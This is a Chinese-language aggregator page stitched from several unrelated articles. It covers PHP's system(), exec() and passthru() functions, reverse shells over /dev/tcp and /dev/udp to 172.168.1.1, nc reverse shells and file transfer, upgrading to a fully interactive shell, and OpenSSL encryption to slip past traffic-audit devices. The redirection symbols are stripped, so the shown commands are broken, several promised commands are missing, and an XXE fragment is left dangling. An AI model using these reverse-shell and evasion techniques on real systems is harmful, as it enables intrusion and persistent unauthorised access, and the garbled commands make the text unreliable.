本文目錄一覽:
php調用shell的方法技巧
php調用shell的方法技巧
一、配置
查看php.ini中配置是否打開安全模式,主要是以下三個地方
safe_mode = (這個如果為off下面兩個就不用管了)
disable_functions =
safe_mode_exec_dir=
二、使用
由於PHP基本是用於WEB程序開發的,所以安全性成了人們考慮的一個重要方面。於是PHP的設計者們給PHP加了一個門:安全模式。如果運行在安全模式下,那麼PHP腳本中將受到如下四個方面的限制:
① 執行外部命令
② 在打開文件時有些限制
③ 連接MySQL資料庫
④ 基於HTTP的認證
在安全模式下,只有在特定目錄中的外部程序才可以被執行,對其它程序的調用將被拒絕。這個目錄可以在php.ini文件中用 safe_mode_exec_dir指令,或在編譯PHP是加上–with-exec-dir選項來指定,默認是/usr/local/php /bin。
如果你調用一個應該可以輸出結果的外部命令(意思是PHP腳本沒有錯誤),得到的’卻是一片空白,那麼很可能你的網管已經把PHP運行在安全模式下了。
三、如何做?
在PHP中調用外部命令,可以用如下三種方法來實現:
1) 用PHP提供的專門函數
PHP提供共了3個專門的執行外部命令的函數:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函數很其它語言中的差不多,它執行給定的命令,輸出和返回結果。第二個參數是可選的,用來得到命令執行後的狀態碼。
例子:
複製代碼 代碼如下:system(“/usr/local/bin/webalizer/webalizer”);
exec()
原型:string exec (string command [, string array [, int return_var]])
exec() 函數與system()類似,也執行給定的命令,但不輸出結果,而是返回結果的最後一行。雖然它只返回命令結果的最後一行,但用第二個參數array可以得到完整的結果,方法是把結果逐行追加到array的結尾處。所以如果array不是空的,在調用之前最好用unset()最它清掉。只有指定了第二個參數時,才可以用第三個參數,用來取得命令執行的狀態碼。
例子:
複製代碼 代碼如下:exec(“/bin/ls -l”);
exec(“/bin/ls -l”, $res);
#$res是一個數據,每個元素代表結果的一行
exec(“/bin/ls -l”, $res, $rc);
#$rc的值是命令/bin/ls -l的狀態碼。成功的情況下通常是0
passthru()
原型:void passthru (string command [, int return_var])
passthru() 只調用命令,不返回任何結果,但把命令的運行結果原樣地直接輸出到標準輸出設備上。所以passthru()函數經常用來調用象pbmplus(Unix 下的一個處理圖片的工具,輸出二進位的原始圖片的流)這樣的程序。同樣它也可以得到命令執行的狀態碼。
例子:
複製代碼 代碼如下:header(“Content-type: image/gif”);
passthru(“./ppmtogif hunte.ppm”);
希望本文所述對大家的PHP程序設計有所幫助。
;
反彈shell基礎
將這句話拆開來看, bash -i , , /dev/tcp/ , 01 ,有三個知識點。
(1) bash -i 是打開一個交互的bash
(2) /dev/tcp/ 是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接,讀寫這個文件就相當於在這個socket連接中傳輸數據。同理,Linux中還存在/dev/udp/。
(3) 和 01 這兩個涉及到Linux文件描述符和重定向。此處的 是取地址符
(1)文件描述符
Linux啟動時會默認打開三個文件描述符(實現文件讀寫操作),Linux把鍵盤、顯示器等設備也當做文件用文件描述符進行控制,如果要修改默認設備就需要進行重定向。
(2)重定向
輸入的重定向包括, 和 ,輸出的重定向包括, 和 , n file 代表將文件描述符 n 重定向到file指代的文件(以只讀方式打開),如果n省略就是0(標準輸入)。同理如果是輸出的重定向, n file ,n省略則默認是1。
錯誤輸出的重定向有三種形式
其中, 和 是一個意思,都是將標準錯誤輸出合併到標準輸出中。 21 和 file 可以用如下過程圖表示
需要注意的是,上述輸入輸出重定向,將輸入和輸出綁定到文件或者設備只對該條指令有效,如果想要一直有效,就需要添加exec指令 exec n / file/n
(3)複製
與之形似的是文件描述符的複製 nm / nm ,這兩個都是將文件描述符 n 複製到 m ,兩者的區別是,前者是以只讀的形式打開,後者是以寫的形式打開,因為讀/寫方式對於複製操作幾乎沒有影響所以兩者基本可以看作是等價的。這裡的 目的是區分以數字為名字的文件和文件描述符的數值,如果沒有 系統會認為是將文件描述符重定向到了一個數字作為文件名的文件,而不是另一個文件描述符。
此時再來看這句命令,可與理解為,創建一個可交互的bash和一個到172.168.1.1:80的TCP鏈接,然後將bash的輸入輸出錯誤都重定向到在172.168.1.1:80監聽的進程。
首先,反彈shell可以理解為,攻擊者監聽在TCP/UDP埠,被控制端的請求被轉發到該埠,可以控制其輸入輸出。一般攻擊者攻擊了一台機器,並用自己的主機去連接該機器的埠,這是一種「正向連接」,遠程桌面、web服務、ssh、telnet等都是正向連接的一種。但是如果被攻擊的機器處於內網中可能造成無法連接,或者有防火牆等限制,再或者攻擊者需要進行實時控制,正向連接是無法滿足需要的。所以有了「反向連接」,即讓被攻擊的主機主動去連接攻擊者的伺服器。
所以我們還可以從反向連接的角度來理解一下 01 。如果只是 bash -i /dev/tcp/172.168.1.1/80 ,將輸出描述符連接到了埠,該埠可接收到我們的輸出,即我們正向連接了被攻擊者的機器,但是我們輸入shell後是無法看到回顯的。回顯只會顯示在被攻擊者的機器上。如果我們想要得到回顯,需要將被攻擊機器的輸入描述符連接到我們監聽的埠上。
也就是說如果我們想要看到回顯,除了先將輸出描述符連接到埠上,還需要將其輸入描述符也連接到埠上。即輸入描述符0和輸出描述符1連接相同, 01 即可解決。這就形成了一個迴路,實現了遠程互動式shell的功能。
不過這樣的一條指令還不夠完善,因為這條指令會使得我們在被攻擊的機器上依然能看到我們在攻擊者機器中執行的指令,那麼解決辦法就是將錯誤輸出和標準輸出進行混合,即將 bash -i 換為 bash -i
Bash相關shell主要有以下幾種:
剛才詳細講的是第一種bash shell,第二種是將 這種錯誤輸出的混合方式改成了 21 ,2代表錯誤輸出,1代表標準輸出,2指向了1,即輸出混合了。文件描述符的複製 nm / nm 兩種雖然讀寫不同但是對於shell的效果是等價的,即和 01 效果相同。所以第二種就是第一種的變種。第四種同理,輸入、輸出、報錯都定位到同一位置。第五種選了一個新的文件描述符196,道理類似。
對於第三種bash shell,exec已經在前面提到過可以持續連接,後面的關鍵點如下:
從文件中依次讀取每一行,將其賦值給 line 變數(其他也可),之後在循環中對line進行操作。這裡不再從文件中讀取,而是通過管道符對攻擊者機器上輸入的命令進行依次執行,並且將標準輸出和標準錯誤輸出都重定向到了文件描述符5,也就是攻擊機上,實現互動式shell的功能。
另外,本文最開始的時候說到/dev/tcp/是Linux中的一個特殊設備類似的還有/dev/udp/,按照tcp的方式直接改成udp就行。
sh -i /dev/udp/172.168.1.1/80 01
除了bash還有很多其他借用第三方工具(nc、telnet、socat、xterm)或使用腳本語言(python、Perl、Ruby、Go、PHP、Lua、JAVA、gawk、Powershell)反彈shell的方式,這裡就不一一列舉了,原理類似。寫這篇文章總結shell的過程中順手將網路上的shell進行了收集,將近80條,寫了BashShell.py,就是個簡單的查詢shell的工具,有需要的下方留言
linux反彈shell知識匯總
shell是滲透中常用的名詞,像getshell,webshell,反彈shell等等,都和shell相關。
百度百科解釋的shell:
在計算機科學中,Shell俗稱殼(用來區別於核),是指「為使用者提供操作界面」的軟體(命令解析器)。它類似於DOS下的command.com和後來的cmd.exe。它接收用戶命令,然後調用相應的應用程序。
簡單說用戶通過殼訪問操作系統內核的服務,也就是由殼到內核,執行系統命令。
getshell:獲取到目標的命令執行許可權
webshell:指網站後門,通過web服務進行命令執行
反彈shell:把命令行的輸入輸出轉移到其它主機
1、webshell下執行命令不交互,為了方便提權或其它操作必須要反彈shell。
2、反彈shell相當於新增一個後門,當webshell被發現刪除後許可權不會丟失。
使用whereis命令去確定目標支持的反彈方法。
bash反彈是實戰中用的最多的方法
把命令拆開分析:
1、bash -i代表在本地打開一個bash
2、/dev/tcp/是Linux中的一個特殊設備,打開這個文件就相當於發出了一個socket調用,建立一個socket連接
3、後面跟上/dev/tcp/ip/port這個文件代表將標準輸出和標準錯誤輸出重定向到這個文件,也就是傳遞到遠程vps
4、遠程vps開啟對應的埠去監聽,就會接收到這個bash的標準輸出和標準錯誤輸出。
需要目標主機安裝了nc
使用其他版本的 nc
配合命名管道進行反彈:
首先使用socket與遠程建立起連接,接下來使用到了os庫的dup2方法將標準輸入、標準輸出、標準錯誤輸出重定向到遠程,dup2這個方法有兩個參數,分別為文件描述符fd1和fd2,當fd2參數存在時,就關閉fd2,然後將fd1代表的那個文件強行複製給fd2,在這裡可以把fd1和fd2看作是C語言里的指針,將fd1賦值給fd2,就相當於將fd2指向於s.fileno(),fileno()返回的是一個文件描述符,在這裡也就是建立socket連接返回的文件描述符,列印出來數值為3
0代表標準輸入、1代表標準輸出、2代表標準錯誤輸出、3代表重定向到遠程
接下來使用os的subprocess在本地開啟一個子進程,傳入參數「-i」使bash以交互模式啟動,標準輸入、標準輸出、標準錯誤輸出又被重定向到了遠程,這樣的話就可以在遠程執行輸入命令了。
需要php關閉safe_mode選項,才可以使用exec函數。
使用php的exec函數執行方法1反彈shell的命令
使用php的fsockopen去反彈shell
exec反彈
perl反彈
ruby反彈
lua反彈
通過上述命令反彈shell得到的shell並不能稱為完全交互的shell,通常稱之為’啞’shell。
通常存在以下缺點
因此有必要去獲取一個完全交互的shell。
1、在啞 shell 中執行python,使用pty模塊,創建一個原生的終端,命令如下:
運行完後
2、鍵入 Ctrl-Z暫停任務,切回到 VPS 的命令行中;在 VPS 中執行:
3、在啞 shell 中執行,得到一個完全交互的shell,支持命令補全、歷史命令查看、語法高亮、vim編輯等功能。
部分防護設備會對內外網傳輸流量進行審查,反彈shell執行命令都是以明文進行傳輸的,很容易被查殺。
因此需要將原始流量使用 openssl 加密,繞過流量審計設備。
1、首先vps上生成SSL證書的公鑰/私鑰對,信息懶得填,一直回車即可。
2、vps使用 OpenSSL 監聽一個埠
3、目標主機執行反彈加密shell
反彈成功,成功接收到ssl流量加密的shell。
在無expect擴展的php環境下,xxe漏洞可以做哪些操作
另外,數據不回顯就沒有問題了嗎?如下圖, \ 不…該CASE是在安裝expect擴展的PHP環境里執行系統命令,其他…日前,某office文檔轉換軟體被爆存在XXE漏洞(PS:感謝.
nc反向反彈shell
瑞士軍刀netcat
我的本地機器是閹割版的nc,出於安全考慮沒有-e的選項,但是目標機器yum install nc是有-e的選項,所以我選擇反向代理最後成功獲得shell
然後還有一種更現實的情況,靶機不會給你提供nc的環境,你也不會那麼輕易成功將nc上傳至靶機,所以更多的情況需要你就地取材,網上有國外大佬整理了各種版本的shell寫法,在此借鑒。已經驗證python 與perl,php不容易打開連接因為一般安全模塊都是打開的所以exec()一般不容易執行。
nc也可以實現傳輸文件的功能(這種是未加密的,如果重要文件還是用ssh吧)
操作機:nc -l -p 13893 example.txt(代表輸入)
目標機:nc 操作機ip 13893 fucker.txt(代表輸出)
nc也可以實現簡單的聊天(這種情況只要連接上了就能進行簡單的聊天了)
操作機:nc -l -p 13893
目標機:nc 操作機ip 13893
原創文章,作者:HEAM,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/147972.html